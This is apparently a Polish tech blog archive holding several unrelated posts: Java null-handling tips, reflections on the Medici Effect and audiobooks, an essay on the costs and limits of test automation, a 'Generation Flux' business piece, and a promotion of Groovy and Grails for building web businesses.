Powstały książki i artykuły omawiające standardy efektywnego programowania w Javie. Obejmują one z reguły wiele obszarów J2SE (Java Standard Edition). Część z tych obszarów jest nadmiarowa z punktu widzenia projektów J2EE. Przy tworzeniu systemów webowych z reguły nie dotyka się tematu wielowątkowości. Serwer aplikacyjny sam radzi sobie dobrze z zarządzaniem wątkami i lepiej mu w tym nie przeszkadzać. Swing jest kolejną biblioteką, która nie jest wykorzystywana w projektach J2EE. Są natomiast obszary Javy, które są wykorzystywane zawsze. Celem tego artykułu jest wyodrębnienie tych obszarów i zaprezentowanie rad, dzięki którym kod będzie bardziej efektywny. Temat jest obszerny więc zostanie rozbity na kilka wpisów.

Na rozgrzewkę dwa przykłady radzenia sobie z dobrze znanym w Javie wyjątkiem – NullPointerException. Wiadomo, że można każdorazowo sprawdzać czy dana referencja nie jest nullem poprzez instrukcję warunkową if. Jednak czasami można tego uniknąć, dzięki czemu kod stanie się bardziej przejrzysty.

Załóżmy, że napisaliśmy metodę przyjmującą kryteria wyszukiwania i zwracającą listę obiektów spełniającą dane kryteria. Jak metoda powinna zareagować w momencie, gdy dla danych kryteriów nie został wyszukany żaden rezultat? Zwracanie w takiej sytuacji wartości null mogłoby spowodować kłopoty, gdy osoba wykorzystująca naszą metodę nie obsłużyła takiego przypadku. Problem mógłby być niezauważony mimo przeprowadzenia wielu testów i pojawić się w najmniej spodziewanym momencie. Poprawnym rozwiązaniem jest zwrócenie przez metodę zainicjalizowanej pustej listy. Podnosi to bezpieczeństwo i zwalania osoby wykorzystujące naszą metodę z każdorazowego stosowania instrukcji warunkowej if po otrzymaniu rezultatu.

Kolejny przykład dotyczy porównywania obiektu typu String do stałej wartości. Załóżmy, że napisaliśmy metodę, która jako argument pobiera obiekt typu String. Następnie porównuje ją do stałej wartości „TEST” i zwraca wartość true w przypadku gdy porównanie jest pozytywne lub false w przeciwnym przypadku lub gdy argument ma wartość null. Metoda może mieć taką bezpieczną postać:
boolean isEqualToConst(String s) {
                      if (s != null) {
                                                 return s.equals(„TEST”);
                      } else {
                                                 return false

                     }
                                    }

Powyższe rozwiązanie jest poprawne od strony logicznej, jednak kod można napisać znacznie zwięźlej.  Spójrzmy na następujące rozwiązanie:
 boolean isEqualToConst(String s) {
                                  return „TEST”.equals(s);
                                   }

Zamiast 5 linii ciała metody otrzymaliśmy zaledwie 1 linię. Obiekt o stałej wartości „TEST” będzie zawsze różny od null. Można więc bezpiecznie wywołać na tym obiekcie metodę equals(). W momencie gdy referencja s będzie wskazywała na null, metoda isEqualToConst() zwróci wartość false – zgodnie z założeniami.

Znajomość tego rodzaju rozwiązań i wskazówek pozwala na przyspieszenie pracy programisty i powoduje, że pisany kod jest bardziej niezawodny. Zamierzam kontynuować rozpoczęty wątek w kolejnych wpisach, w których przestawię więcej wskazówek dotyczących języka Java.

Produkty Apple powstają ze splotu różnorodnych elementów i są w cudowny sposób integrowane w całość. Jobs zawsze powtarzał, że stoi na przecięciu dróg wyznaczanych przez nauki ścisłe i nauki humanistyczne.

W 2006 roku, Frans Johansson wydał książkę Medici Effect . Czym jest efekt Medyceuszy? Stojąc na skrzyżowaniu różnorodnych obszarów, dyscyplin naukowych i kultur masz niebywałą szansę łączenia tych konceptów w nowe, niespotykane dotąd idee. Sama nazwa nawiązuje do XV i XVI-wiecznej Florencji, gdzie ród Medyceuszy współtworzył środowisko dające początek niebywałemu wybuchowi kreatywności, które dziś określamy mianem renesansu. Florencja stanowiła wówczas tygiel wypełniony artystami, finansistami, architektami i różnej maści indywidualnościami. Gdyby każdy z nich szedł własną droga, a nie spotkał się właśnie w tym czasie, w tym miejscu, na tym skrzyżowaniu, trudno przewidzieć, czy powstałaby galeria Uffizi i inne perły renesansu. Czy Medici Effect możemy odtworzyć teraz? Jesteśmy jego świadkami.

W pierwszym zdaniu podkreśliłem, że biografię Jobsa wysłuchałem. Pobrałem ją z serwisu, który udostępnia je w postaci pliku na smartfona i przechowuje na wirtualnej półce „w chmurze”. Do zestawu książek mam dostęp z każdego miejsca za pośrednictwem Internetu. Słuchałem go podczas jazdy pociągiem, czy metrem. Wystarczyło podłączyć smartfona do USB w samochodzie, by słowa płynęły z głośników.

Dlaczego jesteśmy świadkami nagłego wybuchu popularności audiobooków.

Połączyły się trzy fale:

• Mobilności technologii, którą dosłownie możemy dotknąć palcem, a ich obsługa jest prosta dla każdego dziecka.
• Mobilności treści, która może być umieszczana w chmurach i po którą możemy sięgać po jednym kliknięciu naszego przenośnego urządzenia.
• Mobilności ludzi, którzy wraz z iPod Generation nauczyli się słuchać, a mobilny styl życia stał się tym, który uwodzi młode pokolenia (jest dla nich jedynym istniejącym).

Na skrzyżowaniu technologii i sztuk wyzwolonych powstają superprodukcje audio, w których bierze udział dziesiątki najwyższej klasy aktorów. Posiadają własne efekty dźwiękowe i muzykę, a budżety równają się tym osiąganym przez produkcje filmowe. Kilka lat temu nie byłoby to możliwe. Teraz stoimy na właściwym skrzyżowaniu.

Książkę Medici Effect można pobrać w formie PDF na stronie: http://www.themedicigroup.com/

Oprogramowanie przed wdrożeniem powinno dawać pewność, że będzie działać prawidłowo w środowisku docelowym. Testowanie powinno być efektywne i wydajne. Czyli skuteczność w znajdywaniu błędów oraz umożliwiające wykonanie testów w sposób jak najszybszy i jak najtańszy. Czas potrzebny na testowanie projektów informatycznych wynosi od 30% do 40% całkowitej pracochłonności w przypadku niektórych systemów określanych jako krytyczne (np. pomagające w ratowaniu życia ludzkiego) może sięgać nawet 80%. Mimo to przetestowane programy nadal zawierają błędy. Nieprawidłowe działanie programu niesie za sobą spore konsekwencje (najmniejszą są koszty finansowe związane z umowami oraz naprawą natomiast w skrajnych przypadkach błędy kończą się katastrofami takimi jak np. Proton-M w 2010r) Koszt naprawy błędu znalezionego na środowisku produkcyjnym wzrasta kilkukrotnie w porównaniu do naprawy błędu znalezionego w fazie testów. Można oczywiście zwiększyć ilość czasu potrzebnego na testowanie. Jednak w praktyce jest to nieopłacalne. Innym sposobem jest wyszkolenie testerów tak aby potrafili tworzyć bardziej efektywne przypadki testowe co również niesie za sobą koszty (… w większości przypadków jednorazowe .

Ręczne wykonywanie testów jest czasochłonne, szczególnie jeśli zaprojektowane warianty testów wykonywane są wielokrotnie. Automatyzując testowanie można znacznie zmniejszyć koszt związany z dokładnym testowaniem. W niektórych przypadkach automatyzacja testów może zredukować koszty testowania do 70% w porównaniu z testowaniem manualnym. Umożliwia to przeznaczenie zaoszczędzonych środków na kolejne testy a w konsekwencji wyprodukowanie lepszej jakości oprogramowania.

Dla każdego testowanego systemu można zdefiniować bardzo dużą liczę wariantów testowych, których zaprojektowanie i wykonanie w znacznym stopniu przekracza przeznaczone zasoby na ten cel jak również i czas. Ważną umiejętnością jest wytypowanie tych wariantów które   w praktyce znajdą większość błędów występujących w programie. Selekcja wariantów w sposób losowy nie jest efektywnym podejściem, pozostaje wybranie „najlepszych przypadków testowych” na podstawie doświadczenie oraz znajomości testowanego oprogramowania.

A jak to jest w przypadku automatyzacji , jak można określić, które warianty testów są najlepsze?
Można je oceniać na podstawie kilku atrybutów:

• efektywności  – zdolność testu do wykrywania błędów.
• łatwości zmian  – określa koszt modyfikacji w przypadku zmiany systemu
• przykładności – zdolność do testowania więcej niż jednej funkcjonalności w ramach przypadku testowego.
• ekonomiczności – koszt analizy i wykonania przypadku testowego

Jak się okazuje dobranie odpowiednich przypadków testowych nie jest trywialne musi w zrównoważony sposób zapewnić realizacje powyższych cech. Wybranie nieodpowiedniego przypadku testowego może powodować poważne komplikacje a co za tym idzie w konsekwencji spadek opłacalności realizacji automatyzacji. To czy dany przypadek testowy jest zautomatyzowany czy wykonywany ręcznie nie wpływa na jego zdolność znajdywania błędów, ani na przykładność. Automatyzacja natomiast ma wpływ na pozostałe dwa atrybuty, czyli na ekonomiczność oraz łatwość zmian. Raz zaprojektowany i wykonany przypadek testowy podczas wielokrotnego wykonywania jest o wiele mniej kosztowny niż wykonywany ręcznie. Niestety automatyzacja jest o wiele bardziej kosztowna i czasochłonna. Decyzja o automatyzacji, jego zakresie oraz sposobie realizacji  powinna być podejmowana i brana pod uwagę na etapie zarówno projektowania oprogramowania jak i zarządzania procesem wytwórczym. Im lepsze podejście do testów automatycznych tym mniejszy koszt związany z utrzymaniem i rozwojem w przyszłości. Jeśli podejście do automatyzacji w ramach projektu nie zakłada konieczności przyszłych pielęgnacji to ich późniejsza modyfikacja będzie kosztować co najmniej tyle co wykonanie testów ręcznie.

Automatyzacja testów wpływa także na całokształt testów, poprawiają spójność i powtarzalność. Brak konieczności wykonywania sprawdzeń manualnych powoduje zwiększenie ich skuteczności. Tester wykonujący testy ręcznie po kilkukrotnym wykonaniu tych samych scenariuszy traci część swojej wiarygodności poprzez utarte przeświadczenie o bezbłędności systemu (tylko w przypadku kiedy poprzednie iteracje zakończyły się bezbłędnym wynikiem). Dobra podejście do automatyzacji daje również możliwość wykonania testów na różnych systemach operacyjnych jak również na różnych konfiguracjach sprzętowych. Daje to gwarancje spójności dla produktów wieloplatformowych.

Niestety automatyzacja mimo niewątpliwych korzyści jakie daje niesie również wiele problemów i ograniczeń.
Z doświadczeń Jamesa Bacha wynika że większość błędów wykrywana jest podczas testów manualnych ok 90% natomiast tylko 10 % znajdowanych jest przy pomocy automatów. Wynika to z bardzo prostego powodu, aby móc stworzyć automatyczną wersję danego przypadku testowego należy mieć pewność że system w danym obszarze działa poprawnie (Istnieją pewne obszary dla których można tworzyć automaty bez poprawnie działającego systemu np. pewne części integracji). Zautomatyzowane testy są bardziej wrażliwe na jakiekolwiek zmiany zarówno w systemie jak również w przypadkach testowych. Jeśli nie będzie to brane pod uwagę w momencie definiowania podejścia do automatyzacji może w konsekwencji prowadzić do wycofania części automatów po analizie kosztów ich modyfikacji. Koszt wytworzenia automatu dla przypadku testowego jest od 3 do 12 razy większy niż wykonanie tego przypadku ręcznie w niektórych przypadkach koszt ten może być dużo większy.  Stosowanie automatyzacji ma sens tylko wtedy jeśli wiemy że testowanie będzie odbywać się wielokrotnie. W przypadku pewnych technik wytwarzania oprogramowania opartych na przyrostowym tworzeniu funkcjonalności należy określić kolejność automatyzacji analogicznie z przyrostem funkcjonalności tak aby jak najmniej kosztów pochłonęła pielęgnacja już stworzonych automatów. Nie warto automatyzować testów które są łatwo realizowane przez człowieka a które mogłyby powodować bardzo duże komplikacje i brak dokładności w przypadku automatów (np. weryfikacja layaut-u, komunikatów dźwiękowych, konieczności interakcji fizycznej), bezsensowne wydaje się również użycie testów automatycznych w przypadku scenariuszy które według założeń miały być wykonywane jedynie kilkukrotnie (np. z powodu niezmienności systemu w danym obszarze).

Wnioskiem powyższych analiz i rozważań może być stwierdzenie że dobre przygotowanie oraz świadomość zalet i wad automatyzacji może dać ogromne korzyści w postaci redukcji kosztów, podniesienia jakości oprogramowania oraz łatwości testowania regresywnego w fazie utrzymania aplikacji. Jednak w przypadku braku zrozumienia sensu automatyzacji może powodować generowanie ogromnych kosztów przy relatywnie małych zyskach oraz budować negatywny wizerunek skuteczności automatyzacji .

Poszukiwanie wzoru

5 lat temu głównymi graczami na rynku telefonów komórkowych była Nokia, RIM, i Motorola. Łącznie kontrolowały 64% rynku. Dzisiaj rządzi Apple i Samsung. Nowe kategorie pojawiają się błyskawicznie niszcząc inne. Wystarczy spojrzeć na Grupona, czy Zyngę. Co będzie za 3 lata? Ha, ha, ha.

Teraz, jak nigdy dotąd sprawdza się powiedzenie „Nic nie jest dane na stałe.” Trudno określić, jakie metody się sprawdzają, a jakie nie? Jakie umiejętności są najważniejsze? Mgła. Nie ma wzoru. To czego nas uczono 5 lat temu wydaje się niczym. Dobre praktyki z przeszłości i doświadczenia zawodzą nas, często podpowiadając błędne rozwiązania. Jeśli nie możemy w takim razie zdać się na nasze doświadczenie, to na co powinniśmy się zdać? Uczy nas dzień bieżący. Jesteśmy w czasie chaosu. Innego nie będzie. Stała innowacja w zakresie modeli biznesowych jest elementem dominującym współczesnej ekonomii.

Nie wiesz, czego nie wiesz

Mamy do czynienia z niebywałym tempem rozwoju nowych inicjatyw, skracaniem ścieżki od pomysłu do biznesu i generowania zysków. Informacje o nowych trendach, technologiach, pomysłach, wskazówkach jest tak wielka, że menedżerowie grzęzną na poziomie analizy. Nowe pomysły pojawiają się z taką szybkością, że trudno nam je ogarnąć. Jesteśmy w sytuacji, że nie wiemy, czego nie wiemy. Społeczność biznesowa koncentruje się obecnie na zarządzaniu niepewnością. To nawet nie jest niepewność, ale teraz mamy do czynienia z kompletną niejasnością. Niepewność jest bowiem wtedy, gdy podczas rzutu kostką zastanawiamy się, czy wypadnie coś miedzy 1 a 6. Teraz nawet nie wiemy ile kostek jest w grze, i która z nich da właściwy wynik.

Generation Flux

Flux: strumień, przepływ, ciągłe zmiany.
Przetrwanie w nowym klimacie wymaga zupełnie nowego podejścia. W tym kontekście pojawia się pojęcie Generation Flux (nowe czasy wymagają nazwania  ). To bardziej stan umysłu, który uwzględnia niestabilność toleruje, a nawet kultywuje – zmianę karier, modeli biznesowych, założeń. Ciągła re-kalibracja, ciągłe negowanie status quo nie jest wyjątkiem, jest elementem stałym.

Najważniejszą umiejętnością nowej generacji jest zdolność pozyskiwanie nowych umiejętności. GenFlux gromadzi wiele doświadczeń z różnych obszarów życia, które pozornie do siebie nie pasują. Wielość doświadczeń to klasyczna przygoda GenFluxa. Jestem kolekcją wielu rzeczy. Nie jestem jedną rzeczą – mówią o sobie. Kolekcjonowanie różnorodnych umiejętności pozwala przejść przez niepewność naszych czasów. Wiąże się to ze zdolnością utrzymywania młodzieńczej pasji odkrywania nowych rzeczy – tylko jak to robić cały czas? Koncentracja na przyszłości i brak sentymentów wobec przeszłości to kolejna oznaka GenFlux. Próba replikowania sukcesów z przeszłości jest ryzykowna. [Podrobienie metody Steve’a Jobsa nie sprawi, że powstanie kolejne Apple]. Adaptacja do nowych okoliczności jest konieczna, ale nie gwarantuje, że wciąż będziesz pracował w tej samej branży.

Współczesny biznes wymaga od nas ciągłego negowanie naszych dotychczasowych wyborów. Stawia nas w niekomfortowej sytuacji generowania zupełnie nowych pomysłów i konieczności ucieczki od dotychczasowych przyzwyczajeń. Dobre praktyki z przeszłości okazują się kotwicą, która hamuje rozwój. Przeszczepianie minionych sukcesów, nie sprawdza się.

Padają w tym kontekście następujące pytania:

• Jak radzisz sobie z nieprzewidywalnością otoczenia?
• Jak wprowadzać szybkie, krótkookresowe zmiany?
• Jak generować nowe rozwiązania w sytuacji niepewności i sprzecznych informacji?
• Jak uczyć się, dostosowywać do nowych warunków gry?

Tekst inspirowany artykułem This is Generation Flux: Meet The Pioneers Of The New (And Chaotic) Frontier of Business opublikowany przez Fast Company w styczniu 2012 roku.

 ——————————————————–

tekst pochodzi z autorskiego bloga -> http://face2web.wordpress.com/

Tyle umysłów głowi się nad tym, jak zbić w ten sposób majątek, że rewolucyjny pomysł, który zaświta w głowie programisty z Warszawy najprawdopodobniej jest już realizowany przez jakiegoś małego przedsiębiorcę z USA, albo Wielkiej Brytanii. Rynek firm internetowych zaczyna więc przypominać wyścig, w którym wszystkie chwyty są dozwolone a liczy się tylko zwycięzca. Drugiego i trzeciego miejsca na podium nie ma. Jak więc wyprzedzić konkurencję i zaoferować swój produkt klientowi jako pierwszy, nie tracąc przy tym na jego jakości?

Jednym ze sposobów jest wykorzystanie najnowszych technologii i w ten sposób przyspieszenie tworzenia swojego serwisu internetowego. Wybierać jest z czego. Mamy tu do dyspozycji znane od lat języki programowania takie jak PHP czy Java, ale również robiący furorę wśród webmasterów Ruby z jego świetnym Ruby on Rails. Rozważnie wybierając technologię, jaką się posłużymy jesteśmy w stanie ugrać znacznie więcej niż tylko kilka zaoszczędzonych tygodni pracy. Możemy bowiem zapewnić sobie solidne podstawy rozwoju dla naszej aplikacji, a co za tym idzie całego e-biznesu. Często zdarza się, że po kilku latach funkcjonowania stworzone wcześniej oprogramowanie nie jest już w stanie podołać rosnącej ilości użytkowników. Trzeba wtedy zaprojektować je od nowa wykorzystując do tego bardziej wydajne i skalowalne technologie. Wiąże się to nie tylko z dużymi wydatkami pieniężnymi, ale także, co gorsze, wstrzymaniem prac rozwojowych. Jeżeli od samego początku będziemy mieli ten problem na uwadze to możliwe, że uda nam się go w przyszłości uniknąć, oszczędzimy przy tym pieniądze, nie zostając w tyle w stosunku do rozwijającej się wciąż konkurencji.

Groovy jest stosunkowo młodym językiem programowania. Stworzony został na bazie języka Java. W pewnym sensie jest nakładką na niego, dzięki której zyskujemy nowe możliwości, takie jak dynamiczne przypisywanie typów zmiennym, czy stosowanie domknięć (ang. closures). Co ważne, programy napisane w Groovy uruchamiane są na wirtualnej maszynie Javy (JVM – java virtual machine). Wynika z tego bardzo wiele korzyści. Pomimo iż jest to młody język, to zaplecze, z którego możemy korzystać budując przy jego pomocy oprogramowanie jest naprawdę imponujące. Do dyspozycji mamy nie tylko typową składnię Java i wszystkie jej klasy, ale również całą infrastrukturę. Mowa tutaj nie tylko o środowiskach programistycznych takich jak Eclipse IDE, ale przede wszystkim o serwerach aplikacyjnych, zarówno tych darmowych jak JBoss, jak również komercyjnych – WebSphere czy Weblogic. Infrastruktura ta jest nie tylko bardzo bezpieczna, wykorzystywana jest przecież w wielu systemach bankowości elektronicznej, ale również jej skalowalność jest praktycznie nieograniczona.

W języku Groovy stworzony został szkielet budowy aplikacji internetowych (ang. framework) Grails. Przy jego projektowaniu intensywnie czerpano z doświadczeń Ruby on Rails, dlatego też ich nazwy są stosunkowo zbliżone. Korzystając z niego możemy przyspieszyć tworzenie aplikacji internetowych na bardzo wiele różnych sposobów.

Wymienić tutaj można między innymi:

• Automatyczne tworzenie środowiska dla budowanego systemu.  Grails tworzy nie tylko całą strukturę oprogramowania, wszelkie niezbędne foldery i pliki konfiguracyjne, ale nawet konfiguruje serwer Tomcat i lokalną bazę danych DB2. Czynności te, które przy wykorzystaniu języka Java, czy PHP potrafią zająć kilka dni, jesteśmy w stanie wykonać w kilka minut.
• Konfiguracja ograniczona jest do minimum. Wszystkie zmienne można oczywiście modyfikować za pomocą plików XML lub klas Groovy, jednak zawsze zapewnione jest rozsądne rozwiązanie domyślne, które w 95% przypadków zaspokaja potrzeby programistów.
• Automatyczne wsparcie dla testów – klasy testowe są automatycznie generowane, istnieje możliwość prowadzenia testów na poziomie jednostkowym, integracyjnym i dla całej aplikacji.
• GORM – Groovy Object-Relational Mapping. Rozwiązanie, dzięki któremu nie musimy już osobno konfigurować bazy danych ani nią zarządzać. Wystarczy, że stworzymy w naszym programie klasy domenowe i opiszemy połączenia między nimi, a struktura bazy danych wygenerowana zostanie automatycznie.
• Wtyczki – istnieje ponad 500 wtyczek (ang. plugin) rozszerzających funkcjonalność Grails. Grails Mail na przykład umożliwia wysyłanie maili z poziomu aplikacji po wpisaniu zaledwie 5 linii kodu a Spring Security umożliwia stworzenie kont użytkowników i kontroli dostępu do zasobów naszego serwisu w zaledwie 5 min.

Jest to jedynie bardzo krótka lista największych zalet Grails. Daje ona jednak wyobrażenie jak dużo czasu zaoszczędzić można korzystając przy tworzeniu serwisu internetowego z tego frameworka.

Podsumowując, w dzisiejszych czasach, gdy technologia pędzi do przodu jak szalona, a czas jest niejednokrotnie cenniejszy od pieniądza, otwierając e-bizness nie wystarczy już mieć dobrego pomysłu i trochę pieniędzy na start. Konkurencja jest tak duża, że aby zdobyć nad nią przewagę musimy korzystać ze wszystkich dostępnych nam sposobów. Nie możemy więc nie pomyśleć tutaj o wykorzystaniu zdobyczy najnowszej technologii, które nie weszły jeszcze do standardu, a najlepsze lata mają dopiero przed sobą. Nie możemy pozwolić sobie na stratę czasu spowodowaną korzystaniem z przestarzałych narzędzi. Wybierać trzeba najlepsze i najnowsze rozwiązania dostępne na rynku. Nierzadko wiąże się to ze zwiększeniem ryzyka, a nawet postawieniem wszystkiego na jedną kartę. Może się jednak okazać, że zaoszczędzony w ten sposób miesiąc, czy nawet tydzień dał naszej firmie przewagę konkurencyjną, która to właśnie stanowi o jej sukcesie. Dokonując rozsądnego wyboru możemy też uniknąć w przyszłości konieczności kosztownej przebudowy oprogramowania związanego ze zwiększającą się liczbą klientów naszego e-biznesu. Kierownik każdego projektu zastanawiając się, w jaki sposób zapewnić sobie przewagę nad konkurencją powinien więc wziąć pod uwagę nie tylko kwestie marketingowe, ale też technologiczne, ponieważ obecnie najmniejszy nawet atut naszego rozwiązania może się okazać tym decydującym o sukcesie.